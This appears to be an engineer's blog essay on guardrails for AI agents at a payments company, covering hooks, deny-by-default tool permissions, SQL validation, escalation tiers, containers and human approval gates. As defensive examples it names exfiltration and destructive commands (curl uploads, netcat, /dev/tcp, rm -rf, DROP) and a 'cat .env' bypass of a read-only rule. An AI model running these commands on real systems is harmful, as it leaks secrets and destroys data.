What “AI research” means when you work at a payment company

My title says research. My job is not papers.

Nobody at a payments company needs me to train a foundation model. What they need is an answer to a much more boring and much harder question: how do you put a competent, autonomous, occasionally-wrong agent within reach of production data and production systems, and still be able to sleep? That is not model research. It is integration research. It is designing the shape of the thing around the model.

Almost everything I have learned in the last two years lives in that gap. The models are good. They have been good for a while. What is not good, and what nobody hands you, is the structure around them: the stopping conditions, the tool boundaries, the escalation rules, the isolation, the gates. That structure is the product. The model is a component you swap out every six months.

This post is the mental model. It is assembled from tools I actually run: an internal AIOps agent that investigates payment incidents, a set of guardrail hooks that ship to every developer on the team, a handful of slash-command loops that run my own workday, and the containers all of it lives inside.


1. The loop is the unit of work, not the agent

The first thing I stopped doing was thinking in “agents.” An agent is a noun. Nouns do not fail in interesting ways; processes do.

Every task I automate decomposes into the same shape:

flowchart LR
    A[Fetch context] --> B[Plan]
    B --> C[Act]
    C --> D{Verify}
    D -->|fails| C
    D -->|passes| E{{Human gate}}
    E -->|rejected| B
    E -->|approved| F[Ship]

    style E fill:#fde68a,stroke:#b45309,stroke-width:2px
    style D fill:#dbeafe,stroke:#1d4ed8

That is a control loop. It has a measurement, a reference, an action, and, critically, a stop rule and a gate. Drawing it this way changes what you do when the thing misbehaves.

Because here is the reflex I had to unlearn. When an agent does something dumb, the instinct is prompt surgery. Longer system prompt. More examples. “Think step by step.” That instinct feels productive and it does not compound: every prompt tweak is a bet on model mood, and it fails silently and differently every run.

The move that compounds is the other one:

When an agent misbehaves, do not rewrite the prompt. Add a check to the loop.

A test that must pass. A hook that refuses to let the session end while verification fails. A judge that reads the diff before anything ships. A human gate before every write. Those fail loudly and they fail the same way every time, which means you can fix them once and the fix survives the next model release. Prompt tuning does not survive the next model release.

My heuristic for what earns a loop is deliberately dumb, the rule of five. If I have run the same sequence by hand five times, it is a candidate. Not before. The loops you already run manually are the spec; you do not have to invent requirements, you have to read your own history.

And a loop, once you name it, can be watched by other loops. That is the next layer up. A single well-engineered loop still trusts its own metric, its own target, and its own view of the world, and it will drive off a cliff efficiently while reporting green. The answer is not a smarter loop; it is a slower loop above it whose job is to ask whether the metric still means anything. But that is a whole other post.


2. Guardrails come in three tiers, and only one of them actually blocks

The single most useful frame I have built is that guardrails are not one thing. When I wrote the AI coding guardrails for my team, I split every control into three tiers, because policy alone gets ignored and enforcement alone is brittle:

TierWhat it isWho is in the loop
Tier 0, PolicyProse rules everyone agrees to. Covers the tools you cannot hook.Human, aspirationally
Tier 1, EnforcedHooks and sandboxes that block automatically.Nobody. That is the point.
Tier 2, DetectiveLogging and review after the fact. Catches what T1 misses.Human, afterwards

You need all three, and you need to be honest about which one you actually have. Most teams have Tier 0 and believe they have Tier 1.

The risk model is what fills the tiers. I wrote mine worst-first, and for a payments platform it is blunt:

  • Cardholder data exposure. A real card number pasted into a prompt leaves the PCI boundary the instant it is sent to a model endpoint. Critical.
  • Secret leak. The agent reads an env or DB config file and echoes it into a transcript or a commit. Critical.
  • Exfiltration. curl -d @file external-host. High.
  • Destructive action. rm -rf, force-push to a protected branch, DROP, an unqualified DELETE on prod. High.
  • Source leaving control. Proprietary code sent to an unapproved consumer account that trains on inputs. Medium.
  • No audit trail. You cannot answer “what did it touch?” after an incident. Medium.
  • Prompt injection via tools. Malicious content in a file, a web page, or a tool response steering the agent into any of the above. Medium.

Notice that only the last one is an AI risk. Everything above it is a classic security risk that an AI agent makes cheaper to trigger accidentally. That reframing is most of the work. An agent runs with the developer’s full local privileges: it can read any file, run any shell command, and reach the network. You are not securing a model. You are securing a very fast, very literal junior with your laptop’s credentials.

What Tier 1 looks like in practice

Five hooks, wired on the agent’s tool-use events. Each one is small and each one closes a specific hole.

flowchart TB
    P[Human prompt] --> PAN1[PAN scan: Luhn + card prefix]
    PAN1 -->|clean| AG[Agent turn]
    PAN1 -->|card found| X1[BLOCK]

    AG --> T{Tool call}
    T -->|Read / Grep / Glob / Bash| H1[secret-file guard]
    T -->|Bash| H2[egress guard]
    T -->|Bash| H3[destructive-command guard]
    T -->|Write / Edit| H4[card-data guard]
    T -->|every tool| H5[audit logger: log only]

    H1 --> EX[Execute]
    H2 --> EX
    H3 --> EX
    H4 --> EX
    H5 --> LOG[(daily JSONL audit)]

    H1 -->|secret file| X2[BLOCK]
    H2 -->|non-allowlisted host| X2
    H3 -->|destructive| X2
    H4 -->|raw PAN| X2

    style X1 fill:#fecaca,stroke:#b91c1c
    style X2 fill:#fecaca,stroke:#b91c1c
    style H5 fill:#e0e7ff,stroke:#4338ca
  • File access. Blocks reads of .env, private keys, and DB config includes. The important part: it matches on Read | Grep | Glob | Bash, not just Read. A deny rule that only covers the Read tool is theatre, because cat .env through Bash walks straight through it. That bypass existing was the reason I wrote the whole set.
  • Egress. Blocks curl and wget uploads, scp, rsync, netcat, and /dev/tcp to any host not on an allowlist. Allowlist, not denylist. Always.
  • Destructive. Blocks broad rm -rf, force-push, reset and delete against protected branches, DROP and TRUNCATE, DELETE or UPDATE with no WHERE, and direct connections to production DB hosts. The refusal messages point at the sanctioned path: “Force-push to a protected branch blocked by guardrails. Open an MR instead.”
  • PAN detection. This one is the PCI guard, and it is the one I am proudest of. It scans for any 13 to 19 digit run that passes a Luhn check and matches a real card prefix, and it is wired on two events: what the human pasted into the prompt, and what the agent is about to write to disk. Masked PANs are explicitly allowed, so 411111******1111 still flows and test workflows do not break.
  • Audit. Blocks nothing, logs everything to a daily JSONL file. Tier 2 in eleven lines of shell.

That last pairing matters more than it looks. Detection without an allowed path is a guardrail people disable. The PAN hook only works because masked values pass. If it blocked all card-shaped strings, someone would comment it out inside a week and I would have zero coverage instead of most.

Be honest about the limits

I put this in the team doc verbatim, and I would put it in any guardrail doc I ever write again:

Bash parsing is heuristic. A determined user can obfuscate. These stop accidents and lazy exfiltration, not a motivated insider. Defence-in-depth, meaning network proxy, DLP, and least-privilege credentials, is still required.

A guardrail document that oversells itself is worse than none, because people calibrate their behaviour to what they think is being caught.


3. Deny by default, at the tool boundary

Hooks are the blunt instrument for a general-purpose coding agent. For a tool I actually build, one that talks to production observability data, the guardrail goes somewhere better: the permission callback, evaluated on every single tool call before it executes.

The shape is what matters. It is a whitelist that falls through to a refusal:

async def _can_use_tool(tool_name, tool_input, context):
    if tool_name.startswith("mcp__my_tools__"):
        return PermissionResultAllow()          # my own typed tools
    if tool_name == "Read":
        ...  # only inside the knowledge-base directory
    if tool_name == "Bash":
        ...  # allowlisted read-only commands only
    return PermissionResultDeny(
        message=f"Tool {tool_name} is not permitted")

The final line is the design. Everything not explicitly reasoned about is denied, and the denial carries a message the model can read and adapt to, rather than a silent failure it will retry forever.

Inside the Bash branch, the checks are the paranoid list you would expect once you have watched an agent be creative:

flowchart TB
    C[Bash command] --> E1{printenv / env / echo VAR?}
    E1 -->|yes| D[DENY]
    E1 -->|no| E2{shell redirect?}
    E2 -->|yes| D
    E2 -->|no| E3{curl POST/PUT/PATCH/DELETE?}
    E3 -->|yes| D
    E3 -->|no| S[Split on pipe, semicolon, ampersand]
    S --> E4{every stage binary on read-only allowlist?}
    E4 -->|no| D
    E4 -->|yes| E5{sed -i / find -exec / sort -o?}
    E5 -->|yes| D
    E5 -->|no| E6{every abs path realpath inside allowed dir?}
    E6 -->|no| D
    E6 -->|yes| A[ALLOW]

    style D fill:#fecaca,stroke:#b91c1c
    style A fill:#bbf7d0,stroke:#15803d
  • printenv, bare env, or echoing a variable’s value gets denied. Environment variables are where the credentials live.
  • Any shell redirection gets denied. A read-only agent with a redirect is a write-capable agent.
  • curl with a write method gets denied. Read-only means read-only over HTTP too, and curl is restricted to GET and HEAD against configured URLs.
  • The command allowlist is applied per pipeline stage. The command is split on |, ; and &, and every stage’s binary must be on the read-only list. Checking only the first token is a bug; the payload is always in stage two.
  • sed -i, find -exec, find -delete, sort -o each get denied individually, because each is a write primitive hiding inside a read-shaped command.
  • Every absolute path in the command is resolved with realpath and must land inside the allowed directory, which is what kills ../../ traversal.

The same instinct shows up wherever the agent generates SQL. Generated queries go through a validator that tokenises the SQL, stripping comments first because -- is how you smuggle things, rejects a keyword set that includes the obvious INSERT, DROP and TRUNCATE and the less obvious OUTFILE, DUMPFILE, EXEC and GRANT, requires the statement to start with SELECT or WITH, and then injects or clamps a LIMIT so no generated query can pull a million rows into a chat message.

Three principles fall out of that, and they are the ones I would keep if I lost everything else:

  1. Deny by default at the boundary, not in the prompt. A prompt saying “do not write to the database” is a wish. A callback that refuses non-SELECT is a fact.
  2. Every read-shaped thing has a write mode. curl, sed, find, sort, shell redirection. Enumerate them or you have not built a read-only agent.
  3. Bound the blast radius, not just the verb. Read-only is necessary and not sufficient; a read-only query can still be a denial-of-service or a data dump. Clamp the row count.

4. Picking agents: an escalation ladder, not a model choice

The question people ask is “which model do you use?” The question that actually matters is “how little can I spend on the 95% of cases that are boring?”

The alert pipeline for our AIOps bot is the cleanest expression of this. When a monitoring signal fires, it walks a ladder, and each rung is roughly an order of magnitude more expensive than the one below.

flowchart TB
    A[Alert fires] --> T1{"Tier 1: DB gate, no LLM at all"}
    T1 -->|already sent, stopped, or max sends| S1[Suppress. Spend nothing.]
    T1 -->|live| R{First occurrence?}

    R -->|yes| T3
    R -->|no, repeat| T2{"Tier 2: small model, ack check in chat"}

    T2 -->|acknowledged| S2[Suppress. No agent run.]
    T2 -->|not acknowledged| REUSE[Reuse stored diagnosis from first send]

    T3["Tier 3: full agent, multi-turn, tool-using"] --> SEND[Send with diagnosis]
    REUSE --> SEND

    style S1 fill:#bbf7d0,stroke:#15803d
    style S2 fill:#bbf7d0,stroke:#15803d
    style T3 fill:#fed7aa,stroke:#c2410c
    style T1 fill:#e0e7ff,stroke:#4338ca
  • Tier 1 is a database gate with no LLM at all. Have we already sent this exact alert fingerprint? Has the incident been marked stopped? Have we hit the max-sends cap? If so: suppress, return, spend nothing. The comment in the code just says Suppressed by DB gate, no LLM, no agent.
  • Tier 2 is a small model, and only on repeats. A cheap model checks whether a human already acknowledged this alert in chat. This tier is skipped entirely on first occurrence, because a first-time alert cannot have been acknowledged yet. That is not an optimisation, it is a correctness rule that happens to save money.
  • Tier 3 is the full agent. Multi-turn, tool-using, expensive. Runs on first occurrence only. Repeat unacknowledged alerts reuse the stored diagnosis from the first send rather than re-investigating.

Most “agent cost problems” are actually missing rungs. People put the expensive agent at tier one and then try to make it cheaper. The fix is upstream: a deterministic gate, then a small model, then the agent, plus a way to reuse an answer you already paid for.

The model tiering follows the same logic rather than a preference. Small models for classification, extraction, acknowledgement checks, and parallel first-pass reviews of infrastructure metrics. The strong reasoning model for the one thing that needs it: the multi-turn investigation agent that has to plan, call tools, read the results, and decide what to do next. Cheap models do narrow, verifiable work. Expensive models do open-ended work. If a task’s output can be validated by a schema, it probably does not need the expensive model.

Specialists over one god-agent

The other half of agent selection is decomposition. My incident agent is not one agent with forty tools. It is a roster of specialists, each owning a domain and a small typed tool set.

flowchart TB
    O["Orchestrator: strong reasoning model"]

    O --> P[Transaction performance]
    O --> D[Deployments]
    O --> N[APM]
    O --> E["Endpoint latency, caps at 24h"]
    O --> I[Incident history]
    O --> C[CDN and edge]
    O --> DB[Databases]
    O --> W[Queue workers]

    E -.->|window over 24h: not mine, delegate| AN["Analytics agent: owns long-window history"]

    style O fill:#fed7aa,stroke:#c2410c
    style AN fill:#ddd6fe,stroke:#6d28d9
    style E fill:#dbeafe,stroke:#1d4ed8

Each tool is declared with a schema and a description that tells the orchestrator not just what it does but when to stop using it and delegate. My favourite example: the endpoint-latency tool caps at a 24-hour window, and its description explicitly says that anything longer must be handed to the broader analytics agent, which owns long-window history. The routing rule lives in the tool description, where the model will actually read it, not in a system prompt three thousand tokens away.

That is the pattern: one agent, one domain, one small set of typed tools, and an explicit statement of what it does not own. Tool descriptions are prompt engineering with a much better locality guarantee. Delegation edges are cheaper to reason about than a forty-tool context window, and when something goes wrong you know which specialist to look at.

One more axis: the access channel

“Which model” is the wrong first question for a second reason. The plan and access channel you call the model through decides whether your data stays inside a contractual boundary, and that is independent of the tool sitting on top. A personal consumer account, a company SaaS workspace, and the same model served through your own cloud project are three genuinely different data-handling regimes.

My rule of thumb: route all coding agents through the enterprise channel inside our own cloud contract boundary, use the company workspace for chat and ideation on internal material, and keep personal accounts entirely off work data. The prohibited class, meaning card data, secrets and customer PII, never enters any channel, which is what the Tier 1 hooks exist to enforce, because policy alone will not.


5. Containers and worktrees: the boundary the model cannot argue with

Everything above is a control the agent participates in. Containers are the control it cannot.

flowchart TB
    subgraph HOST["My laptop"]
        subgraph CT["Container: declared networks, fixed ports"]
            subgraph WT["Fresh git worktree, one per ticket"]
                AG["Agent: minimal tool allowlist"]
            end
            HELPER["Single sanctioned DB helper: read-only, PAN-masked, PCI store blocked"]
        end
    end

    AG --> HELPER
    HELPER --> LOCALDB[(Local docker dev DB)]
    AG -.->|no credentials, no route| REMOTE[(Code review platform)]
    RUNNER["Runner process: holds the credentials"] --> REMOTE

    style CT fill:#f1f5f9,stroke:#475569
    style WT fill:#e0f2fe,stroke:#0369a1
    style RUNNER fill:#fde68a,stroke:#b45309
    style REMOTE fill:#fecaca,stroke:#b91c1c

The container is the blast radius. The tooling that runs agents against production data, meaning headless browsers, OCR, document rendering, database drivers and scheduled jobs, lives in one image, on explicitly declared external networks, with a fixed port map. Nothing runs in my laptop’s network namespace. When an agent decides to curl something interesting, the reachable surface is the container’s, and I define that surface once in a compose file rather than arguing with the model about it every session.

One worktree per unit of work. Every ticket the coding loop picks up gets a fresh git worktree. Parallel runs never collide, a bad run is rm -rf on a directory rather than a git surgery session, and the diff for review is trivially isolated. This is the cheapest isolation primitive in existence and it costs nothing.

Read-only by default, writes behind a single sanctioned path. My database fixture tooling has one query helper that enforces read-only, PAN-masking on output, and a hard block on the raw-card-data store. The skill file says the thing that keeps it honest: going around it with a raw database shell bypasses those guards, so do not. There is exactly one way in, and it is the guarded one.

Dry-run by default for anything that writes. The one tool that can insert test data prints the exact INSERT and exits. Nothing is written without an explicit --confirm. It is hard-restricted to local docker dev containers by name, it refuses the PCI card store before doing anything else, and after a confirmed write it prints back the scoped cleanup command for that exact row. Write tooling should hand you the undo at the same time as the do.

Withholding reach is stronger than withholding permission. The agent phase that writes code holds no credentials for anywhere it could publish to, so it can only make local commits. No push, no MR, no comment, and not because I asked nicely in a prompt but because it has nothing to authenticate with. Publishing is a separate phase, and every remote write in it goes through an approval queue. One audited door instead of a whole perimeter that stays negotiable turn by turn.

This is also why I am relaxed about running agents on loose permissions. The isolation is doing the work, not the permission prompt. Full autonomy inside a disposable sandbox with no credentials and no route out is safer than a cautious agent on a machine that has both.

For agents I cannot hook, such as a different CLI tool with no pre-tool-use model, the equivalent is the sandbox: workspace-scoped writes, approval required for anything the sandbox would deny, and network access off. Different mechanism, same shape. When you cannot intercept the call, shrink the world the call happens in.


6. Gates, provenance, and who is allowed to press the button

The last mental model is about authority, and it is the one that survives contact with other humans.

flowchart TB
    U[Work item URL] --> W[Resolve repo, fresh worktree]
    W --> PL[Plan only, no code]
    PL --> GA{{"Gate A: approve plan"}}
    GA --> IM["Implement, notes mandatory"]
    IM --> V{Verify: tests}
    V -->|red| IM
    V -->|green| SR[Self-review the diff]
    SR --> GB{{"Gate B: approve diff"}}
    GB --> MR["MR opened by the runner, AI::Generated label"]
    MR --> GC{{"Gate C: approve comment"}}
    GC --> H["Human closes the ticket"]

    style GA fill:#fde68a,stroke:#b45309,stroke-width:2px
    style GB fill:#fde68a,stroke:#b45309,stroke-width:2px
    style GC fill:#fde68a,stroke:#b45309,stroke-width:2px
    style H fill:#bbf7d0,stroke:#15803d,stroke-width:2px

My flagship coding loop has three human gates: approve the plan before any code is written, approve the diff before any MR exists, approve the comment before it is posted. Three, not one. A single gate at the end means reviewing a finished thing you are now sunk-cost invested in.

Three rules hold it together:

  • A running log is mandatory. The agent maintains an implementation-notes file as it works, tagging every entry: plan-confirmed, discovery, deviation, needs-judgment. In the morning I read the deviations and the judgment calls first, usually about five entries, and I know exactly where my attention is needed. Reading that takes minutes. Watching the agent work would have taken the night.
  • Provenance is not optional. MRs ship with AI::Generated labels. A reviewer is entitled to know what they are reviewing.
  • The agent never closes the ticket. A human closes tickets. Always. The agent can do the work, write the notes, open the MR, and draft the reply, but the act of declaring something done stays with a person, because that is the act that is actually a claim about reality.

The direction this is heading, in the platform I am building now: the runner pushes, never the agent. The agent works inside a minimal tool allowlist and produces a verified diff. A separate process, one that has network credentials the agent never sees, is what opens the draft MR. A stop hook refuses to let the session end while verification is failing, so the agent either keeps working or explicitly abstains. And an LLM scope judge reads the diff against the ticket and asks whether it did the thing, only the thing, and nothing else.

Separating “who did the work” from “who is allowed to make it real” is the single highest-leverage structural decision in any of this.


What I got wrong

I over-trusted matchers. My first file-access rule matched only the read tool. cat .env through the shell walked straight through it. The lesson generalises: a guardrail on a tool name is weaker than a guardrail on a capability, and the shell is every capability wearing a hat.

I under-invested in the audit log. It is eleven lines of shell, it blocks nothing, and it is the only thing that lets you answer “what did it touch?” after an incident. I built it last. It should have been first, because you can ship a detective control before you have agreed on a single policy.

I built for the interesting case. The escalation ladder came late. The first version ran the expensive agent on every alert including the fourth duplicate of the same one. Most of the value in a production agent system is in the rungs below the agent.

I versioned by copying directories. There are three copies of one calculator in my working tree, v1-6 through v1-8. It is ugly, and for exploratory tooling I would do it again, because being able to diff two whole generations of an approach beats a clean git history when you are still figuring out whether the approach is right at all. But it is a research pattern, not a shipping pattern, and I let a few of those live too long.


The short version

If I compressed the whole thing to what fits on an index card:

  1. The loop is the unit, not the agent. Rule of five for what earns automation.
  2. When it misbehaves, add a check, do not rewrite the prompt. Checks compound; prompts do not.
  3. Three tiers of guardrails: policy, enforced, detective. Know which one you actually have.
  4. Deny by default at the tool boundary. Enumerate the write mode hiding in every read-shaped command.
  5. Detection needs an allowed path, or people will disable it.
  6. Escalate: deterministic gate, then small model, then agent. Reuse answers you already paid for.
  7. Specialists with typed tools beat one agent with forty. Put routing rules in tool descriptions.
  8. Containers and worktrees are the boundary the model cannot argue with.
  9. Dry-run by default; ship the undo with the do.
  10. The runner pushes, never the agent. And a human closes the ticket.

None of this is about making the model smarter. All of it is about being specific, in advance and in code, about what the model is allowed to do when it is wrong, because the entire discipline is designing for the run where it is wrong, not the demo where it is not.